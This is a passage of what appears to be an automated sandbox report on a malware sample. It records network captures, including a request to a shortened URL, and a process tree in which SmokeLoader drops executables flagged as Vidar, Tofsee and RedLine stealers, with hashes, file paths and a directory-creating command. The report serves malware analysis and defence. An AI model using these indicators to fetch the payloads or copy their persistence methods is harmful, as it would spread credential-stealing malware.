45 00 34 00 58 00 4f 00 57 00 36 00 47 00 73 00 41 00 38 00 Data Ascii: CJW2OvxxXF5ExTrZs0V+ONXvuSJPiIOCvz1zdJzicQpdly/oCrZGSOSwuK2fT052KLxUk2udxpPrcL0vQGmfVTRg7AxgriG5wc+4VNuqXSSbYNFSwFeiaE4XOW6GsA8
2022-01-14 00:51:05 UTC	480	IN	Data Raw: 00 56 00 4a 00 70 00 6d 00 6b 00 33 00 6c 00 4c 00 50 00 32 00 2f 00 75 00 32 00 55 00 47 00 4c 00 71 00 47 00 34 00 71 00 50 00 2f 00 58 00 68 00 67 00 58 00 68 00 58 00 78 00 34 00 30 00 64 00 70 00 42 00 44 00 32 00 6e 00 6c 00 4f 00 69 00 6d 00 62 00 72 00 2b 00 6c 00 72 00 62 00 47 00 45 00 2f 00 4c 00 36 00 45 00 2f 00 6c 00 45 00 32 00 62 00 57 00 48 00 4b 00 59 00 55 00 32 00 74 00 59 00 56 00 75 00 4c 00 7a 00 49 00 2b 00 44 00 61 00 48 00 74 00 43 00 41 00 75 00 38 00 44 00 66 00 6b 00 52 00 68 00 63 00 46 00 34 00 68 00 7a 00 32 00 58 00 35 00 68 00 50 00 4e 00 45 00 71 00 79 00 52 00 44 00 4e 00 54 00 59 00 2b 00 71 00 48 00 36 00 38 00 30 00 48 00 74 00 57 00 54 00 51 00 47 00 69 00 75 00 6a 00 70 00 30 00 6e 00 63 00 6d 00 6e 00 5a 00 58 00 Data Ascii: VJpmk3lLP2/u2UGLqG4qP/XhgXhXx40dpBD2nlOimbr+lrbGE/L6E/lE2bWHKYU2tYVuLzI+DaHtCAu8DfkRhcF4hz2X5hPNEqyRDNTY+qH680HtWTQGiujp0ncmnZX
2022-01-14 00:51:05 UTC	496	IN	Data Raw: 00 32 00 6c 00 37 00 73 00 53 00 6f 00 6a 00 48 00 71 00 38 00 35 00 47 00 6a 00 76 00 61 00 4f 00 41 00 36 00 72 00 57 00 42 00 57 00 61 00 6c 00 76 00 53 00 43 00 49 00 51 00 56 00 46 00 79 00 65 00 75 00 4e 00 78 00 6f 00 34 00 6b 00 4a 00 53 00 30 00 68 00 6c 00 68 00 4f 00 58 00 4e 00 32 00 5a 00 33 00 30 00 7a 00 42 00 32 00 77 00 2f 00 61 00 49 00 77 00 4d 00 54 00 65 00 54 00 70 00 35 00 75 00 61 00 34 00 71 00 68 00 7a 00 54 00 39 00 66 00 57 00 4e 00 70 00 4d 00 31 00 7a 00 53 00 42 00 6c 00 79 00 2f 00 66 00 4b 00 59 00 34 00 42 00 55 00 57 00 78 00 57 00 62 00 4d 00 79 00 30 00 71 00 59 00 35 00 46 00 71 00 30 00 30 00 63 00 53 00 38 00 47 00 79 00 62 00 55 00 75 00 63 00 63 00 44 00 48 00 6f 00 63 00 66 00 2f 00 59 00 47 00 35 00 6f 00 56 00 Data Ascii: 2l7sSojHq85GjvaOA6rWBWalvSCIQVFyeuNxo4kJS0hlhOXN2Z30zB2w/aIwMTeTp5ua4qhzT9fWNpM1zSBly/fKY4BUWxWbMy0qY5Fq00cS8GybUuccDHocf/YG5oV
2022-01-14 00:51:05 UTC	512	IN	Data Raw: 00 5a 00 55 00 2b 00 39 00 47 00 59 00 68 00 47 00 76 00 45 00 39 00 39 00 46 00 70 00 68 00 31 00 33 00 42 00 65 00 51 00 6f 00 48 00 79 00 68 00 55 00 65 00 34 00 4d 00 2f 00 56 00 72 00 38 00 6c 00 79 00 2f 00 4c 00 46 00 53 00 4d 00 39 00 61 00 48 00 46 00 47 00 31 00 2f 00 68 00 44 00 42 00 68 00 53 00 6d 00 56 00 38 00 32 00 52 00 37 00 4b 00 41 00 50 00 57 00 56 00 2f 00 78 00 51 00 45 00 54 00 65 00 78 00 48 00 65 00 6e 00 46 00 68 00 65 00 43 00 72 00 5a 00 42 00 74 00 75 00 4d 00 72 00 4f 00 48 00 4f 00 69 00 6d 00 6a 00 4b 00 67 00 35 00 65 00 70 00 50 00 76 00 73 00 4f 00 46 00 48 00 7a 00 57 00 53 00 70 00 59 00 31 00 48 00 4d 00 72 00 56 00 49 00 42 00 74 00 45 00 79 00 51 00 57 00 4a 00 70 00 51 00 6f 00 63 00 70 00 65 00 38 00 6d 00 54 00 Data Ascii: ZU+9GYhGvE99Fph13BeQoHyhUe4M/Vr8ly/LFSM9aHFG1/hDBhSmV82R7KAPWV/xQETexHenFheCrZBtuMrOHOimjKg5epPvsOFHzWSpY1HMrVIBtEyQWJpQocpe8mT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49832	172.67.139.105	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 00:51:34 UTC	526	OUT	GET /abhF HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: goo.su
2022-01-14 00:51:34 UTC	526	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 00:51:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: PHP/7.2.21 cache-control: private, must-revalidate pragma: no-cache expires: -1 set-cookie: XSRF-TOKEN=eyJpdiI6ImxTWEtNNWg3a1NuOGJRSEJOQ1dGWVE9PSIsInZhbHVlIjoiRThhUzE0MEREQ2JLaVZDYXNWckhxMUM0ZElzNkRDWTFOUnpNWnRWSkFza3ZLaFZrV3pRcUp5bWlzdFJ6SWMyUCIsIm1hYyI6IjE2NWJmZGIyOTRlYzFhMjlkYThjNTk5OWE1YTdiMGM4ODQ5OThmYTgwNzY4OTVmYjIyNzdkNzhkYmYzMzAzYTMifQ%3D%3D; expires=Fri, 14-Jan-2022 19:31:34 GMT; Max-Age=67200; path=/ set-cookie: goosu_session=eyJpdiI6IlVHZDRiYVhuakZXeDFvc3NydENNZlE9PSIsInZhbHVlIjoid1oxenNTTVJqUE81WjdSZzgxc1hnZ3pCZExwZXp1QldESDJkVDV1WUV1S3Frc3E3RTVvRUtkTVZnNDc3cStVMSIsIm1hYyI6IjQyZjdjZGY2OTliOWRiYmVlOWIyMGNiN2ZjZmQyMGYxOTgwMjcxYjYxYzA3MTA5MzAzYWJmZmZlZjA2Mzc0OGIifQ%3D%3D; expires=Fri, 14-Jan-2022 19:31:34 GMT; Max-Age=67200; path=/; httponly CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J3ha5WfGTnkXKC4wODVMRHhKNfirAOkgghqGzFS4oLuVxv9ZWmTPNORPwuxnWwHVtlwuRNHsMmIUZd4gwQ2NSTPUUxrgnk9fknH2Cl8froldU%2BoJwFvE%2BhY%3D"}],"group":"cf-nel","max_age":604800}
2022-01-14 00:51:34 UTC	528	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 63 64 32 65 30 36 39 62 66 39 38 37 37 34 31 2d 4c 48 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd2e069bf987741-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2022-01-14 00:51:34 UTC	528	IN	Data Raw: 32 31 32 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0a 3c 74 69 74 6c 65 3e d0 9f d1 80 d0 be d0 b8 d1 81 d1 85 d0 be d0 b4 d0 b8 d1 82 20 d0 bf d0 b5 d1 80 d0 b5 d0 bd d0 b0 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd d0 b8 d0 b5 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 0a 3c 6c 69 6e 6b 20 68 Data Ascii: 212e<!doctype html><html lang="ru"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noindex"><title> ...</title><link h
2022-01-14 00:51:34 UTC	529	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62 6f 72 64 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 Data Ascii: -bottom: 30px; } .bordered { border: 1px solid #eee; padding: 10px; } h3 { font-size: 24px; text-align: center; font-weight: 400; text-shadow: 0px 1p
2022-01-14 00:51:34 UTC	530	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 61 73 79 6e 63 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 20 3d 20 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 Data Ascii: async: true }); }); t = d.getElementsByTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s
2022-01-14 00:51:34 UTC	532	IN	Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 22 2f 2f 61 6e 2e 79 61 6e 64 65 78 2e 72 75 2f 73 79 73 74 65 6d 2f 63 6f 6e 74 65 78 74 2e 6a 73 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e Data Ascii: yTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s.src = "//an.yandex.ru/system/context.js"; s.async = true; t.parentNode.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: JV4ILFxpDY.exe PID: 7012 Parent PID: 5976

General

Start time:	01:50:06
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\JV4ILFxpDY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JV4ILFxpDY.exe"
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	228E9E4A42F5596A5BECBACC44A03FC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 7024 Parent PID: 572

General

Start time:	01:50:06
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: JV4ILFxpDY.exe PID: 7072 Parent PID: 7012

General

Start time:	01:50:07
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\JV4ILFxpDY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JV4ILFxpDY.exe"
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	228E9E4A42F5596A5BECBACC44A03FC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.330734940.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.330793260.00000000004E1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 7100 Parent PID: 572

General

Start time:	01:50:11
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 7132 Parent PID: 572

General

Start time:	01:50:11
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5252 Parent PID: 572

General

Start time:	01:50:12
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6456 Parent PID: 572

General

Start time:	01:50:12
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6404 Parent PID: 572

General

Start time:	01:50:12
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 5716 Parent PID: 572

General

Start time:	01:50:13
Start date:	14/01/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6af250000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2804 Parent PID: 572

General

Start time:	01:50:13
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 7072

General

Start time:	01:50:14
Start date:	14/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000000.318001908.0000000004DE1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6868 Parent PID: 572

General

Start time:	01:50:30
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6632 Parent PID: 572

General

Start time:	01:50:43
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: jhewjjt PID: 3044 Parent PID: 664

General

Start time:	01:50:48
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\jhewjjt
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jhewjjt
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	228E9E4A42F5596A5BECBACC44A03FC7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: jhewjjt PID: 6988 Parent PID: 3044

General

Start time:	01:50:50
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\jhewjjt
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jhewjjt
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	228E9E4A42F5596A5BECBACC44A03FC7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.386614680.00000000005C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.386682726.00000000005E1000.00000004.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 7C86.exe PID: 1316 Parent PID: 3352

General

Start time:	01:50:52
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\7C86.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7C86.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 77%, ReversingLabs

Chronological Activities

Analysis Process: svchost.exe PID: 1952 Parent PID: 572

General

Start time:	01:50:52
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6324 Parent PID: 572

General

Start time:	01:50:55
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 8939.exe PID: 6260 Parent PID: 3352

General

Start time:	01:50:55
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\8939.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8939.exe
Imagebase:	0x400000
File size:	319488 bytes
MD5 hash:	9132D968A613216A67E889ADDB7307E1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: WerFault.exe PID: 6456 Parent PID: 6324

General

Start time:	01:50:55
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1316 -ip 1316
Imagebase:	0x9b0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5476 Parent PID: 1316

General

Start time:	01:50:57
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 520
Imagebase:	0x9b0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 8939.exe PID: 6728 Parent PID: 6260

General

Start time:	01:50:57
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\8939.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8939.exe
Imagebase:	0x400000
File size:	319488 bytes
MD5 hash:	9132D968A613216A67E889ADDB7307E1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000002.402105376.00000000004D1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000002.401978598.0000000000420000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: D675.exe PID: 2016 Parent PID: 3352

General

Start time:	01:51:00
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\D675.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D675.exe
Imagebase:	0x400000
File size:	323072 bytes
MD5 hash:	E65722B6D04BD927BCBF5545A8C45785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 85ED.exe PID: 5332 Parent PID: 3352

General

Start time:	01:51:03
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\85ED.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\85ED.exe
Imagebase:	0x400000
File size:	319488 bytes
MD5 hash:	AE68C579B04E099661F2647392413398
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001A.00000002.436599794.0000000000640000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001A.00000003.396578240.0000000000660000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 8DFC.exe PID: 856 Parent PID: 3352

General

Start time:	01:51:05
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\8DFC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8DFC.exe
Imagebase:	0x8d0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.439913258.0000000003DD1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 89%, ReversingLabs

Chronological Activities

Analysis Process: dllhost.exe PID: 5116 Parent PID: 744

General

Start time:	01:51:08
Start date:	14/01/2022
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
Imagebase:	0x7ff6ccee0000
File size:	20888 bytes
MD5 hash:	2528137C6745C4EADD87817A1909677E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: dllhost.exe PID: 2352 Parent PID: 744

General

Start time:	01:51:10
Start date:	14/01/2022
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
Imagebase:	0x7ff6ccee0000
File size:	20888 bytes
MD5 hash:	2528137C6745C4EADD87817A1909677E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 2532 Parent PID: 5332

General

Start time:	01:51:11
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\rdxbevsp\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

